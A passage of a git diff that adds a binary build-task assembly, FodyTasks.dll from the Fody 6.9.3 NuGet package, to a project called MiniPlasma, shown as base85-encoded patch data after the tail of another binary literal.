zLhisWZgKunfjJSSGQ{r5h&ic_c3#WuEweXxW2LggI$S19u`P$EhO3rl zEXdzYm1D*XcTE(tr|W3`cy;|p{9tnyo68eM(qYj`%&m#JWEqnaJZjfZe_h1s#_o)2 zu{Xj(WLZCtikydJPBi<)zZX62drK(xcOE@RF2`ewh$^*8H+)ubzcTr`4?Qo}mxusp znL|sN_-xZMKV+M?{^`$Evpz6<;%EHVQ0p)6(a`~$Dfnr5dKv-SW9)7y?d(k3p=-Cq zjwoQ|AD82PS_My7rUQ2Wr@Q(y4Ghs%cL8bBf2M=EdcbY{0svJ2Zeh<6=wU$6lFl61 z_SzEA9GU?kec+5oG!WMZd>tSRx@QcF+o1gev|aG&|9XPwxq}X1U3OPTX|Y{T3wVGh zHiD3@&Yz?&2*`p&G3Z2Sr7%D)NXp{@p!TOKi1q?q8N({Ds0jhuw5#R-k=_5a)J1y- z3iNyTf&q*+Fa~sLz}X5AKvlkr4TE)r06p48;X(U*6!ad74oYJ|u>`;i04ERtNXB1v zX#weY01XD&=AX1SXk)LeK9COzz4rKSFb@i%wSU?8o16{EhXWM&8Q@j~Zm_*b+6fNe z2>~jYCFD;b;9l9k&%n>|mj-OZXo5=@z;^*I9Gx;S zH%>t44A5RhnjF&^@D+d_H~~*bK!YF;_zJXdPMPM*)AB*0A0R#er%apwJ^cLV?h60h cj@|EoR`~B;89<=`Y168I&-h>bzhMOa4>&{F{r~^~ literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyTasks.dll b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyTasks.dll new file mode 100644 index 0000000000000000000000000000000000000000..e82e3616733db3ad7d8f8136fb2477c85fdaf420 GIT binary patch literal 58368 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 